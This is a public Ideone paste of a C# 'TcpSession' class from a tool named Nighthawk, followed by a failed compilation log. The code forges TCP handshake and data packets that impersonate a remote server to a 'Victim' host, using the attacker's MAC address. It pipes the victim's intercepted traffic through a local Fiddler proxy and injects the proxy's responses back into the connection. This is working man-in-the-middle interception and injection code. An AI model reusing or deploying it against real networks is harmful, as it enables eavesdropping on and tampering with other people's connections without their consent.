fork(5) download 
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.IO;
  5. using System.Net.NetworkInformation;
  6. using System.Net.Sockets;
  7. using System.Text.RegularExpressions;
  8. using System.Windows;
  9. using System.Windows.Documents;
  10. using System.Windows.Media;
  11. using System.Windows.Media.Animation;
  12. using System.Windows.Shell;
  13. using PacketDotNet;
  14. using SharpPcap;
  15. using SharpPcap.WinPcap;
  16. using System.Net;
  17. using PacketDotNet.Tcp;
  18. using System.Threading.Tasks;
  19. using System.Text;
  20.  
  21. namespace Nighthawk
  22. {
  23.     public class TcpSession
  24.     {
  25.         private readonly Random r = new Random();
  26.         public readonly PhysicalAddress MyMAC = Main.me.ARPTools.physicalAddress;
  27.  
  28.         public ushort SourcePort;
  29.  
  30.         public uint BaseSequence, BaseAck;
  31.         public uint BaseClientTimestamp = 0, BaseServerTimestamp;
  32.  
  33.         public uint Seq = 0, Ack = 0;
  34.         public uint CurrentClientTimestamp = 0, CurrentServerTimestamp;
  35.  
  36.         public byte WindowScaling = 1;
  37.         public ushort ClientMaximumSegmentSize = 1000; //SHOULD be overwritten
  38.         public ushort ClientWindowSize = 0;
  39.         private const uint SegmentSizeSafeValue = 50;
  40.         private EthernetPacket GeneratedSynAck = null;
  41.  
  42.         public DateTime LastRecivedPacketDate;
  43.  
  44.         public IPAddress VictimIP, DestinationIP;
  45.         public PhysicalAddress VictimMAC;
  46.  
  47.         public TcpClient Fiddler;
  48.         public StreamReader Reader;
  49.  
  50.         public Queue<EthernetPacket> SendingQueue = new Queue<EthernetPacket>();
  51.         public bool Acked = false;
  52.  
  53.         public ushort ServerPort;
  54.  
  55.         public TcpSession(TcpPacket SynPacket, IPAddress VictimIP, IPAddress DestinationIP, PhysicalAddress VictimMAC)
  56.         {
  57.             Task.Factory.StartNew(() =>
  58.             {
  59.                 Fiddler = new TcpClient("127.0.0.1", 8888);
  60.                 Reader = new StreamReader(Fiddler.GetStream());
  61.             });
  62.             if (!SynPacket.Syn)
  63.                 throw new Exception("The packet is NOT a SYN packet!");
  64.             this.ServerPort = SynPacket.DestinationPort;
  65.             this.VictimIP = VictimIP;
  66.             this.DestinationIP = DestinationIP;
  67.             this.VictimMAC = VictimMAC;
  68.             BaseAck = SynPacket.SequenceNumber;
  69.             BaseSequence = (uint)r.Next(0, 1000000);
  70.             SourcePort = SynPacket.SourcePort;
  71.             ClientWindowSize = SynPacket.WindowSize;
  72.  
  73.             var packetTimestamp = SynPacket.OptionsCollection.FirstOrDefault(o => o.Kind == PacketDotNet.Tcp.OptionTypes.Timestamp) as TimeStamp;
  74.             if (packetTimestamp != null)
  75.             {
  76.                 BaseClientTimestamp = packetTimestamp.Value;
  77.                 CurrentClientTimestamp = packetTimestamp.Value;
  78.             }
  79.             BaseServerTimestamp = (uint)r.Next(0, 100000);
  80.             CurrentServerTimestamp = BaseClientTimestamp;
  81.  
  82.             var packetWindowScaling = SynPacket.OptionsCollection.FirstOrDefault(o => o.Kind == OptionTypes.WindowScaleFactor) as WindowScaleFactor;
  83.             if (packetWindowScaling != null)
  84.             {
  85.                 WindowScaling = packetWindowScaling.ScaleFactor;
  86.             }
  87.  
  88.             var packetMaximumSegementSize = SynPacket.OptionsCollection.FirstOrDefault(o => o.Kind == OptionTypes.MaximumSegmentSize) as MaximumSegmentSize;
  89.             if (packetMaximumSegementSize != null)
  90.             {
  91.                 ClientMaximumSegmentSize = packetMaximumSegementSize.Value;
  92.             }
  93.             LastRecivedPacketDate = DateTime.Now;
  94.         }
  95.  
  96.         private EthernetPacket GeneratePshPacket(byte[] data)
  97.         {
  98.             var tcpPshAck = new TcpPacket(ServerPort, SourcePort);
  99.             tcpPshAck.Psh = true;
  100.             tcpPshAck.Ack = true;
  101.             tcpPshAck.AcknowledgmentNumber = BaseAck + Ack;
  102.             tcpPshAck.SequenceNumber = BaseSequence + Seq;
  103.             tcpPshAck.WindowSize = ClientWindowSize;
  104.  
  105.             var bytes = new List<byte>();
  106.             bytes.AddRange(new byte[] { 0x01, 0x01, 0x08, 0x0a }); //NOP, NOP, Timestamp type and length
  107.             bytes.AddRange((BitConverter.GetBytes(CurrentServerTimestamp + (DateTime.Now - LastRecivedPacketDate).TotalMilliseconds).Reverse()));
  108.             bytes.AddRange((BitConverter.GetBytes(CurrentClientTimestamp).Reverse()));
  109.  
  110.             var headerBytes = tcpPshAck.Bytes.ToList();
  111.             headerBytes.AddRange(bytes);
  112.             headerBytes[12] = (byte)(headerBytes.Count << 2);
  113.  
  114.             tcpPshAck = new TcpPacket(new PacketDotNet.Utils.ByteArraySegment(headerBytes.ToArray()));
  115.             tcpPshAck.PayloadData = data;
  116.             tcpPshAck.UpdateCalculatedValues();
  117.  
  118.             Seq += (uint)data.Length;
  119.  
  120.             return GenerateEthernetPacketFromTcpPacket(tcpPshAck);
  121.         }
  122.  
  123.         private EthernetPacket GenerateAckPacket()
  124.         {
  125.             var tcpAck = new TcpPacket(ServerPort, SourcePort);
  126.             tcpAck.Ack = true;
  127.             tcpAck.AcknowledgmentNumber = BaseAck + Ack;
  128.             tcpAck.SequenceNumber = BaseSequence + Seq;
  129.             tcpAck.WindowSize = ClientWindowSize;
  130.  
  131.             var bytes = new List<byte>();
  132.             bytes.AddRange(new byte[] { 0x01, 0x01, 0x08, 0x0a }); //NOP, NOP, Timestamp type and length
  133.             bytes.AddRange((BitConverter.GetBytes(CurrentServerTimestamp).Reverse()));
  134.             bytes.AddRange((BitConverter.GetBytes(CurrentClientTimestamp).Reverse()));
  135.  
  136.             var headerBytes = tcpAck.Bytes.ToList();
  137.             headerBytes.AddRange(bytes);
  138.             headerBytes[12] = (byte)(headerBytes.Count << 2);
  139.  
  140.             tcpAck = new TcpPacket(new PacketDotNet.Utils.ByteArraySegment(headerBytes.ToArray()));
  141.             tcpAck.UpdateCalculatedValues();
  142.  
  143.             return GenerateEthernetPacketFromTcpPacket(tcpAck);
  144.         }
  145.  
  146.         public EthernetPacket GenerateSynAckPacket()
  147.         {
  148.             if (GeneratedSynAck != null)
  149.                 return GeneratedSynAck;
  150.             var tcpSynAck = new TcpPacket(ServerPort, SourcePort);
  151.  
  152.             Ack++;
  153.             tcpSynAck.Ack = true;
  154.             tcpSynAck.Syn = true;
  155.             tcpSynAck.AcknowledgmentNumber = BaseAck + Ack;
  156.             tcpSynAck.SequenceNumber = BaseSequence + Seq;
  157.             tcpSynAck.WindowSize = ClientWindowSize;
  158.  
  159.             //now, lets build the bytes for the Options
  160.             var bytes = new List<byte>();
  161.             bytes.AddRange(new byte[] { 0x02, 0x04 }); //Maximum Segment Size type, length
  162.             bytes.AddRange(BitConverter.GetBytes(ClientMaximumSegmentSize).Reverse()); //value
  163.             bytes.AddRange(new byte[] { 0x04, 0x02 }); //SACK Permission
  164.             bytes.AddRange(new byte[] { 0x08, 0x0a }); //Timestamp type and length
  165.             bytes.AddRange((BitConverter.GetBytes(CurrentServerTimestamp).Reverse()));
  166.             bytes.AddRange((BitConverter.GetBytes(CurrentClientTimestamp).Reverse()));
  167.             bytes.AddRange(new byte[] { 0x01, 0x03, 0x03, WindowScaling }); //NOP, window scale
  168.             //should be of length 20 (RAWR)
  169.  
  170.             var headerBytes = tcpSynAck.Bytes.ToList();
  171.             headerBytes.AddRange(bytes);
  172.             headerBytes[12] = (byte)(headerBytes.Count << 2);
  173.  
  174.             tcpSynAck = new TcpPacket(new PacketDotNet.Utils.ByteArraySegment(headerBytes.ToArray()));
  175.             tcpSynAck.UpdateCalculatedValues();
  176.  
  177.             GeneratedSynAck = GenerateEthernetPacketFromTcpPacket(tcpSynAck);
  178.  
  179.             return GeneratedSynAck;
  180.         }
  181.  
  182.         public EthernetPacket GenerateEthernetPacketFromTcpPacket(TcpPacket tcp)
  183.         {
  184.             var eth = new EthernetPacket(MyMAC, VictimMAC, EthernetPacketType.None);
  185.             var ipLayer = new IPv4Packet(DestinationIP, VictimIP);
  186.             ipLayer.FragmentFlags = 0x40;
  187.             eth.PayloadPacket = ipLayer;
  188.             ipLayer.PayloadPacket = tcp;
  189.             ipLayer.UpdateIPChecksum();
  190.             ipLayer.UpdateCalculatedValues();
  191.             eth.UpdateCalculatedValues();
  192.             ipLayer.UpdateCalculatedValues();
  193.             ipLayer.UpdateIPChecksum();
  194.             tcp.UpdateCalculatedValues();
  195.             tcp.UpdateTCPChecksum();
  196.             return eth;
  197.         }
  198.  
  199.         public EthernetPacket HandlePacket(TcpPacket Packet)
  200.         {
  201.             //should transmit what it returns
  202.             if (Packet.OptionsCollection != null)
  203.             {
  204.                 var timeStamp = Packet.OptionsCollection.FirstOrDefault(o => o.Kind == OptionTypes.Timestamp) as TimeStamp;
  205.                 if (timeStamp != null)
  206.                 {
  207.                     CurrentClientTimestamp = timeStamp.Value;
  208.                 }
  209.             }
  210.             if (Packet.Ack)
  211.             {
  212.                 var relativeAck = Packet.AcknowledgmentNumber - BaseSequence;
  213.                 Seq = relativeAck;
  214.                 Acked = true;
  215.                 Console.WriteLine("Acked!");
  216.             }
  217.             if (Packet.Psh)
  218.             {
  219.                 //we need to generate an ACK for this...
  220.                 Ack += (uint)Packet.PayloadData.Length;
  221.                 var ethAckPacket = GenerateAckPacket();
  222.                 //and also send fiddler ;)
  223.                 try
  224.                 {
  225.                     Fiddler.GetStream().Write(Packet.PayloadData, 0, Packet.PayloadData.Length);
  226.                 }
  227.                 catch { }
  228.                 return ethAckPacket;
  229.             }
  230.             return null;
  231.         }
  232.  
  233.         public EthernetPacket Work()
  234.         {
  235.             string str;
  236.             try
  237.             {
  238.                 str = Reader.ReadToEnd();
  239.             }
  240.             catch
  241.             {
  242.                 return null;
  243.             }
  244.             var data = Encoding.ASCII.GetBytes(str);
  245.             if (data.Length == 0)
  246.             {
  247.                 if (SendingQueue.Count > 0 && Acked)
  248.                 {
  249.                     Acked = false;
  250.                     return SendingQueue.Dequeue();
  251.                 }
  252.                 return null;
  253.             }
  254.             var actualSize = ClientMaximumSegmentSize - SegmentSizeSafeValue;
  255.             var countOfPackets = (int)(data.Length / actualSize);
  256.             if(data.Length != actualSize * countOfPackets)
  257.                 countOfPackets++;
  258.             Console.WriteLine("Got request data, {0} bytes, made into {1} packets {2} each", data.Length, countOfPackets, actualSize);
  259.  
  260.             for (var i = 0; i < countOfPackets; ++i)
  261.             {
  262.                 EthernetPacket tcpPshPacket;
  263.                 if (i < countOfPackets - 1)
  264.                 {
  265.                     tcpPshPacket = GeneratePshPacket(data.Skip((int)(i * actualSize)).Take((int)actualSize).ToArray());
  266.                 }
  267.                 else
  268.                 {
  269.                     tcpPshPacket = GeneratePshPacket(data.Skip((int)(i * actualSize)).ToArray());
  270.                 }
  271.                 SendingQueue.Enqueue(tcpPshPacket);
  272.             }
  273.             return SendingQueue.Dequeue();
  274.         }
  275.     }
  276. }
  277.  
Compilation error #stdin compilation error #stdout 0s 0KB
comments (?)
stdin 
Standard input is empty
compilation info 
prog.cs(8,14): error CS0234: The type or namespace name `Windows' does not exist in the namespace `System'. Are you missing an assembly reference?
prog.cs(9,14): error CS0234: The type or namespace name `Windows' does not exist in the namespace `System'. Are you missing an assembly reference?
prog.cs(10,14): error CS0234: The type or namespace name `Windows' does not exist in the namespace `System'. Are you missing an assembly reference?
prog.cs(11,14): error CS0234: The type or namespace name `Windows' does not exist in the namespace `System'. Are you missing an assembly reference?
prog.cs(12,14): error CS0234: The type or namespace name `Windows' does not exist in the namespace `System'. Are you missing an assembly reference?
prog.cs(13,7): error CS0246: The type or namespace name `PacketDotNet' could not be found. Are you missing a using directive or an assembly reference?
prog.cs(14,7): error CS0246: The type or namespace name `SharpPcap' could not be found. Are you missing a using directive or an assembly reference?
prog.cs(15,7): error CS0246: The type or namespace name `SharpPcap' could not be found. Are you missing a using directive or an assembly reference?
prog.cs(17,7): error CS0246: The type or namespace name `PacketDotNet' could not be found. Are you missing a using directive or an assembly reference?
prog.cs(18,24): error CS0234: The type or namespace name `Tasks' does not exist in the namespace `System.Threading'. Are you missing an assembly reference?
prog.cs(40,17): error CS0246: The type or namespace name `EthernetPacket' could not be found. Are you missing a using directive or an assembly reference?
prog.cs(50,22): error CS0246: The type or namespace name `EthernetPacket' could not be found. Are you missing a using directive or an assembly reference?
prog.cs(55,27): error CS0246: The type or namespace name `TcpPacket' could not be found. Are you missing a using directive or an assembly reference?
prog.cs(96,17): error CS0246: The type or namespace name `EthernetPacket' could not be found. Are you missing a using directive or an assembly reference?
prog.cs(123,17): error CS0246: The type or namespace name `EthernetPacket' could not be found. Are you missing a using directive or an assembly reference?
prog.cs(146,16): error CS0246: The type or namespace name `EthernetPacket' could not be found. Are you missing a using directive or an assembly reference?
prog.cs(182,16): error CS0246: The type or namespace name `EthernetPacket' could not be found. Are you missing a using directive or an assembly reference?
prog.cs(199,16): error CS0246: The type or namespace name `EthernetPacket' could not be found. Are you missing a using directive or an assembly reference?
prog.cs(233,16): error CS0246: The type or namespace name `EthernetPacket' could not be found. Are you missing a using directive or an assembly reference?
Compilation failed: 19 error(s), 0 warnings
stdout 
Standard output is empty
https://ideone.com/GK7LDe
language:
C# (gmcs 5.20.1)
created:
12 years ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!